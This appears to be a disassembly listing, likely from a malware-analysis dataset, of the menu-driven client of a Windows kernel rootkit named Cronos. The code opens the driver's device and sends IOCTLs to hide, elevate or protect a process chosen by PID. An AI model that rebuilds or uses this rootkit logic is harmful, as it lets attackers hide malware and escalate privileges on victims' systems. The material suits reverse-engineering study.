Function at 0x140001070
Capabilities:
Execute command

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
xor r14d, r14d
mov qword [r11 + 8], rsi
nop dword [rax]
lea rcx, [0x1400032b0]
call fcn.140001010
lea rcx, str.___Cronos_rootkit_debugger____n
call fcn.140001010
lea rcx, str.1._Hide_process_n
call fcn.140001010
lea rcx, str.2._Elevate_process_n
call fcn.140001010
lea rcx, str.3._Hide_port__Work_in_progress__n
call fcn.140001010
lea rcx, str.4._Protect_process_n
call fcn.140001010
lea rcx, str.0._Close_program_n
call fcn.140001010
lea rcx, str.Option:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x24]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp - 0x24]
cmp ecx, 4
jle 0x140001137
lea rcx, str._nWrong_option__Choose_from_0___3__n
call fcn.140001010
lea rcx, [0x140003394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400010a0
test ecx, ecx
je 0x1400015f3
sub ecx, 1
je 0x140001473
sub ecx, 1
je 0x1400012ef
cmp ecx, 2
jne 0x1400010a0
lea rcx, [0x140003394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.____Process_will_be_also_elevated__n
call fcn.140001010
lea rcx, str.___Opening_handle_to_driver_n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, str..Cronos
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400011cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_open_handle_to_device___d_._Check_if_driver_is_loaded_correctly._n
call fcn.140001010
jmp 0x1400010a0
lea rcx, str.____Set_process_PID_to_hide:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov r8d, dword [rbp - 0x30]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x102
je 0x14000127b
nop dword [rax + rax]
lea rcx, str._n____Process_does_not_exist._n
call fcn.140001010
lea rcx, str.____Set_process_PID_to_hide:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov r8d, dword [rbp - 0x30]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x102
jne 0x140001220
lea rcx, str._n___Writing_data_to_driver..._n
call fcn.140001010
mov edx, dword [rbp - 0x30]
lea rcx, str.___Got_target_PID:__d_n
mov dword [rbp - 0x20], edx
call fcn.140001010
mov qword [rsp + 0x38], r14
lea rax, [rbp - 0x14]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x20]
mov dword [rsp + 0x28], r14d
mov r9d, 4
mov edx, 0x220013
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1400012de
lea rcx, str.____Process_has_been_protected__n
call fcn.140001010
jmp 0x1400010a0
lea rcx, str.____Failed_to_protect_process_n
call fcn.140001010
jmp 0x1400010a0
lea rcx, [0x140003394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.___Opening_handle_to_driver_n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, str..Cronos
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001355
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_open_handle_to_device___d_._Check_if_driver_is_loaded_correctly._n
call fcn.140001010
jmp 0x1400010a0
lea rcx, str.____Set_process_PID_to_elevate:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x2c]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov r8d, dword [rbp - 0x2c]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x102
je 0x1400013ff
lea rcx, str._n____Process_does_not_exist._n
call fcn.140001010
lea rcx, str.____Set_process_PID_to_elevate:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x2c]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov r8d, dword [rbp - 0x2c]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x102
jne 0x1400013a4
lea rcx, str._n___Writing_data_to_driver..._n
call fcn.140001010
mov edx, dword [rbp - 0x2c]
lea rcx, str.___Got_target_PID:__d_n
mov dword [rbp - 0x1c], edx
call fcn.140001010
mov qword [rsp + 0x38], r14
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x1c]
mov dword [rsp + 0x28], r14d
mov r9d, 4
mov edx, 0x22000b
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140001462
lea rcx, str.____Process_has_been_elevated__n
call fcn.140001010
jmp 0x1400010a0
lea rcx, str.____Failed_to_elevate_process_n
call fcn.140001010
jmp 0x1400010a0
lea rcx, [0x140003394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.___Opening_handle_to_driver_n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, str..Cronos
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400014d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_open_handle_to_device___d_._Check_if_driver_is_loaded_correctly._n
call fcn.140001010
jmp 0x1400010a0
lea rcx, str.____Set_process_PID_to_hide:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov r8d, dword [rbp - 0x28]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x102
je 0x14000158b
nop dword [rax + rax]
lea rcx, str._n____Process_does_not_exist._n
call fcn.140001010
lea rcx, str.____Set_process_PID_to_hide:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov r8d, dword [rbp - 0x28]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x102
jne 0x140001530
lea rcx, str._n___Writing_data_to_driver..._n
call fcn.140001010
mov eax, dword [rbp - 0x28]
lea r8, [rbp - 0x18]
mov qword [rsp + 0x38], r14
mov r9d, 4
mov dword [rbp - 0x18], eax
mov edx, 0x220007
lea rax, [rbp - 0xc]
mov rcx, rsi
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1400015e2
lea rcx, str.____Process_has_been_hidden__n
call fcn.140001010
jmp 0x1400010a0
lea rcx, str.____Failed_to_hide_processes_n
call fcn.140001010
jmp 0x1400010a0
mov rsi, qword [rsp + 0x80]
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001630
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret